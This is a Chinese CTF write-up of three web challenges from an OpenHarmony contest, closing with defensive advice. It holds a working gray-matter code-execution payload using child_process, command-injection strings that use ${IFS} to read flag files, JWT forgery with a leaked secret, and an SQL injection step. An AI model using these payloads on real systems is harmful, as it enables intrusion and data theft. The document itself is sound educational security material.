第一届OpenHarmony_CTF专题赛web方向题解
字数 1154 2025-08-30 06:50:12

OpenHarmony CTF专题赛Web方向题解教学文档

1. Filesystem题目解析

1.1 漏洞发现

  • admin.controller.ts中发现使用了gray-matter库处理用户的slogon
  • gray-matter库存在RCE漏洞,可通过构造特定payload执行任意命令

1.2 漏洞利用

const gray = require('gray-matter');
var payload = '---js\n((require("child_process")).execSync("whoami > RCE.txt"))\n---RCE';
var username = 'admin';
const profile = gray.stringify(gray(payload).content, {username: username});
console.log(profile)

1.3 JWT伪造

  1. 发现secret值sec_y0u_nnnnever_know可直接用于伪造JWT
  2. 尝试通过软链接读取/opt/filesystem/adminconfig.lock未果
  3. 最终使用sec_y0u_nnnnever_know成功伪造JWT

1.4 获取flag

  • 服务器响应缓慢,通过ass.sh得知flag位于/data/flag目录
  • 最终找到flag文件

2. Layers of Compromise题目解析

2.1 初始访问

  • 使用弱密码user/password123成功登录

2.2 发现隐藏资源

  • 发现二级目录,点击日志会重定向到登录界面
  • 猜测需要特定token访问日志功能

2.3 爆破获取token

  • 爆破文件路径得到/secrettttts/token.txt
  • 获取usernameauth_key
  • 计算MD5后序列化数据并base64编码生成auth_token

2.4 命令执行

  • 构造payload闭合执行命令:";${IFS}ls${IFS}/;#
  • 查找flag:";${IFS}nl${IFS}../../f*/f*;#

3. ezAPP_And_SERVER题目解析

3.1 初始分析

  • 获取附件hap文件
  • 在abc中发现XOR key和加密字符

3.2 解密过程

  • 在UserList中发现硬编码的uid
  • 分析utils中的JWT生成逻辑

3.3 SQL注入

  1. 伪造JWT
  2. 通过SQL注入获取admin的uid
{
  "data": {
    "users": [
      {
        "uuid": "9d5ec98c-5848-4450-9e58-9f97b6b3b7bc",
        "name": "admin",
        "phone": "123-456-7890"
      },
      // 其他用户数据...
    ]
  }
}

3.4 获取flag

  • 构造客户端逻辑生成JWT和sign
  • 最终获取flag:
{"flag":"flag{lDBRUyyVQNGHtZn7SIuu295KAS3kniFk}"}

关键知识点总结

  1. gray-matter库RCE漏洞

    • 通过构造特定格式的输入可执行任意Node.js代码
    • 利用child_process模块执行系统命令
  2. JWT安全

    • 硬编码secret的危险性
    • JWT伪造技术
    • 通过文件读取获取secret的方法
  3. 命令注入技巧

    • 使用${IFS}替代空格绕过过滤
    • 目录遍历技术
  4. 移动应用逆向

    • HAP文件分析
    • XOR加密解密
    • 硬编码凭证的风险
  5. SQL注入

    • 通过API端点注入
    • 获取敏感用户信息

防御建议

  1. 避免使用已知存在漏洞的库
  2. 不要硬编码敏感信息
  3. 实施严格的输入验证
  4. 使用安全的密码存储方式
  5. 对JWT使用强随机secret
  6. 实施最小权限原则
  7. 定期进行安全审计
OpenHarmony CTF专题赛Web方向题解教学文档 1. Filesystem题目解析 1.1 漏洞发现 在 admin.controller.ts 中发现使用了 gray-matter 库处理用户的 slogon gray-matter 库存在RCE漏洞,可通过构造特定payload执行任意命令 1.2 漏洞利用 1.3 JWT伪造 发现secret值 sec_y0u_nnnnever_know 可直接用于伪造JWT 尝试通过软链接读取 /opt/filesystem/adminconfig.lock 未果 最终使用 sec_y0u_nnnnever_know 成功伪造JWT 1.4 获取flag 服务器响应缓慢,通过 ass.sh 得知flag位于 /data/flag 目录 最终找到flag文件 2. Layers of Compromise题目解析 2.1 初始访问 使用弱密码 user/password123 成功登录 2.2 发现隐藏资源 发现二级目录,点击日志会重定向到登录界面 猜测需要特定token访问日志功能 2.3 爆破获取token 爆破文件路径得到 /secrettttts/token.txt 获取 username 和 auth_key 计算MD5后序列化数据并base64编码生成 auth_token 2.4 命令执行 构造payload闭合执行命令: ";${IFS}ls${IFS}/;# 查找flag: ";${IFS}nl${IFS}../../f*/f*;# 3. ezAPP_ And_ SERVER题目解析 3.1 初始分析 获取附件hap文件 在abc中发现XOR key和加密字符 3.2 解密过程 在UserList中发现硬编码的uid 分析utils中的JWT生成逻辑 3.3 SQL注入 伪造JWT 通过SQL注入获取admin的uid 3.4 获取flag 构造客户端逻辑生成JWT和sign 最终获取flag: 关键知识点总结 gray-matter库RCE漏洞 : 通过构造特定格式的输入可执行任意Node.js代码 利用child_ process模块执行系统命令 JWT安全 : 硬编码secret的危险性 JWT伪造技术 通过文件读取获取secret的方法 命令注入技巧 : 使用 ${IFS} 替代空格绕过过滤 目录遍历技术 移动应用逆向 : HAP文件分析 XOR加密解密 硬编码凭证的风险 SQL注入 : 通过API端点注入 获取敏感用户信息 防御建议 避免使用已知存在漏洞的库 不要硬编码敏感信息 实施严格的输入验证 使用安全的密码存储方式 对JWT使用强随机secret 实施最小权限原则 定期进行安全审计